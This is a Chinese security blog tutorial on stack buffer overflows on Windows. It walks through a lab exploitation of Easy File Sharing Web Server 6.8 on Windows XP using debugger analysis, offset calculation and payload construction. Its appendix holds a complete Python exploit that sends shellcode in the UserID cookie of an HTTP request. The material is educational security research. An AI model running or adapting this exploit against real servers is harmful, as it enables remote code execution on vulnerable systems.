windows下基于栈的缓存区溢出攻击

2017-03-13 21,594

本文windows下基于栈的缓存区溢出攻击armyzer0团队原创投稿安全脉搏,作者:tuddc,安全脉搏SecPulse.Com独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

摘要

当代计算机信息系统遍布全球,确保信息系统的安全和信息的保密性至关重要;图灵机器的设计让当代计算机程序存在安全问题,程序运行的不可计算性,使计算机信息系统遭受恶意用户攻击成为可能。

鉴于当今计算机安全领域的研究,已经存在各种攻击计算机软件的手段,而软件中存在的安全缺陷——漏洞 ,是计算机软件遭受攻击的前提和基础。

目录

第一章 绪论 3

1.1 简介 3

1.2 程序函数调用过程在栈上的布局 4

1.3 栈溢出一般利用理论 5

第二章 栈溢出实例分析 6

2.1 实验环境 6

2.2 实验环境选择缘由 8

2.3漏洞利用过程 8

2.3.1 软件运行 8

2.3.2 软件使用 9

2.3.3 wireshark嗅探数据 9

2.3.4 软件调试 10

2.3.5 构造请求并发送 10

2.3.6 构造攻击代码(执行calc 计算器) 13

2.3.7 成功利用 14

第三章 总结 15

附录 16

漏洞利用源码 16

参考资料 17

 

第一章 绪论

1.1 简介

计算机软件中,缓存区主要用来存储数据,通常情况下有大小限制(如:1024字节)。软件编码过程中,如果未对输入到缓存区的数据长度进行严格限制,导致输入数据的大小超出了缓冲区的大小,则可能造成缓存区的溢出(可理解为往杯子里倒水,倒满了水就溢出了)。

缓存区普遍存在于程序栈上(还有程序堆),溢出的部分数据则会覆盖相邻的栈(堆)数据,导致程序运行内存遭到破坏。

缓存区溢出漏洞可能导致程序的运行流程遭到修改,执行特定恶意代码,同时导致程序运行的不稳定性,包括程序奔溃和异常。恶意攻击者可以通过这类漏洞获取计算机访问权限,甚至完全控制计算机系统。

编程语言中容易存在此类漏洞的有C/C++,因为它们并没有提供相应的机制来检查缓存区的边界。

1.2 程序函数调用过程上的布局

下图是程序函数调用过程中函数中的数据在栈上的分布情况。

exploit1

  • 栈的增长方向是向低地址增长的,调用函数时,函数参数首先入栈(如例子中的v1,str参数)。
  • 返回地址入栈,上诉例子中返回地址会是程序中调用printf函数的地址。(栈溢出的利用方法之一就是修改返回地址,因为返回地址会在函数返回的时候指定CPU一下条要执行的指令。)
  • 框架指针入栈
  • 调整栈指针,为函数(func)分配变量的存储空间。

1.3 栈溢出一般利用理论

exploit2

当输入的数据长度大于缓存区的长度时——即产生溢出,溢出的部分数据将会覆盖相邻的程序变量,在上述的内存分布图中,溢出的数据可以增加到覆盖掉程序返回地址,即达到修改程序的返回地址。而返回地址会在函数返回的时候被调用,可以将返回地址修改为攻击代码的地址,从而修改程序的控制流程,达到利用漏洞执行任意代码的效果。

第二章 栈溢出实例分析

2.1 实验环境

运行系统:Windows xp sp3 (en)

exploit3

漏洞软件:Easy File Sharing Web Server 6.8

exploit4

攻击系统:Backbox

Backbox

调试软件:Immunity Debugger

exploit5

2.2 实验环境选择缘由

Windows xp sp3下默认不启用dep栈保护机制,简化漏洞利用过程,Immunity Debugger是用户态调试软件的绝佳工具。可以在调试界面上直接观察程序栈的数据变化。漏洞软件Easy File Sharing Web Server 6.8存在典型的缓冲区溢出漏洞,可以远程利用,控制计算机系统。Bockbox中的python环境用于编写漏洞利用程序并测试漏洞利用结果。

2.3漏洞利用过程

2.3.1 软件运行 

点击Try It ,然后strat即可运行。

exploit6exploit7

2.3.2 软件使用

导致溢出的输入数据来源于用户登录的过程。

exploit8

2.3.3 wireshark嗅探数据

启用wireshark嗅探流量,点击Login as geust。

wireshark

由漏洞发现者的描述中,不安全的数据输入来源UserID这个参数,构造大量的数据赋值给UserID参数,触发溢出漏洞。

本文windows下基于栈的缓存区溢出攻击armyzer0团队原创投稿安全脉搏,作者:tuddc,安全脉搏SecPulse.Com独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

2.3.4 软件调试

利用Immunity Debugger加载软件进程fsws.exe

exploit9

2.3.5 构造请求并发送

编写python 脚本,将UserID的值设置为400个’A’,然后发送给目标服,调试器中可以看见软件的发生了异常。

exploit10

包括出错指令位置,程序当前栈分布和寄存器内容。

exploit11

 

调试器给出的信息包括:

  • 出错指令:calldword ptr ds[edx+28]
  • EDI,ESI寄存器存放的是指向我们的输入数据
  • EDX寄存器被我们的输入数据所覆盖。

exploit12

指令call dword ptr ds[edx+28]取出edx+28这个地址中的内容,把它当做函数指针调用,而edx这个值可以被我们控制(如上述调试状态中被修改为41414141,41是A的hex值),控制了edx,我们可以修改程序执行流程。此外一个关键信息是ESI这个寄存器刚好指向我们的输入数据中的某个位置(并不指向输入数据的第一个位置),我们只要让edx+28 这个地址中的内容指向call esi,这个指令,那么我们输入数据就会被当成CPU要执行的代码,从而实现代码运行。

exploit13

ESI寄存器指向位置距离输入数据的第一个字节有0x40字节

0x1a268e8-0x1a268a8=0x40

转换成十进制即为64字节,也就是下面利用程序中的填充数据的数量。同样可以确定修改EDX寄存器数据的偏移为80字节。

为了能够利用,我们可以在输入数据第64字节开始写入一个栈地址,当然这个栈地址必须指向我们的输入数据,并且指向的这个数据恰好就是程序运行内存中一个call esi 指令的位置,我们在esi(可被控制)存放我们代码,这个就可以执行我们的代码,达到利用的效果。

exploit14

输入数据在栈上的分布如上图所示,首先是64字节的填充数据,接下来就是esi指向的位置,这里存放跳转代码,对齐为16字节,然后是4字节赋值给edx寄存器和4字节存放call esi指令的地址,最后是攻击代码。

2.3.6 构造攻击代码(执行calc 计算器

exploit15

上述代码为启动calc计算器的代码,由汇编转换成十六进制机器码,存放在输入数据的最后部分。

2.3.7 成功利用

入数据如下图所示,其中0x10023701这个地址指向call esi,

0x01A068FC指向输入数据的某一个偏移,这个偏移刚好是栈上前向跳转代码的位置。

exploit16

发送请求后能够看到在windows xp上 运行了calc 计算器程序,至此,溢出漏洞成功利用。

exploit17

第三 总结

本测试从理论到实践,对windows下基于栈的缓存区溢出攻击进行了详细分析,旨在从攻击者的角度出发,利用安全漏洞获取计算机访问权限。

基于测试环境不同,利用程序编写将有所不用,上述实例分析中存在的问题是不能确保漏洞利用程序的每一次都稳定成功执行,原因是软件加载进内存时,并不是每一次的栈地址都是固定的,这个实例中栈地址的偏移的固定的,但是栈的基地址偶尔会不同,所以漏洞再现需要根据实际运行情况进行调整。

 

附录

漏洞利用源码

import socket

import struct

target="192.168.66.150"

port=80

shellcode="\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +\

"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +\

"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +\

"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +\

"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +\

"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +\

"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +\

"\x1c\x39\xbd"

payload = "A"*64

payload = payload + "\x83\xc6\x18"

payload = payload + "\xff\xe6"

payload = payload + "A"*(16-5)

payload =payload + struct.pack("<I",(0x01A068FC-0x28))

payload =payload + struct.pack("<I",0x10023701)

payload =payload + "\x90\x90\x90\x90"

payload =payload + shellcode

buf = (

"GET /vfolder.ghp HTTP/1.1\r\n"

"User-Agent: Mozilla/4.0\r\n"

"Host:" + target + ":" + str(port) + "\r\n"

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

"Accept-Language: en-us\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Referer: http://" + target + "/\r\n"

"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"

"Conection: Keep-Alive\r\n\r\n"

)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target, port))

s.send(buf)

s.close()

参考资料

[1] https://www.cigital.com/blog/software-security/

[2] https://www.exploit-db.com/

[3] https://en.wikipedia.org/wiki/Stack_buffer_overflow

[4] https://en.wikipedia.org/wiki/Application_security

本文windows下基于栈的缓存区溢出攻击armyzer0团队原创投稿安全脉搏,作者:tuddc,安全脉搏SecPulse.Com独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

本文作者:armyzer0

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/56676.html

Tags:
评论  (3)
快来写下你的想法吧!

armyzer0

文章数:8 积分: 2

team.armyzer0.com “剑 之 所 指,心 之 所 向”

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号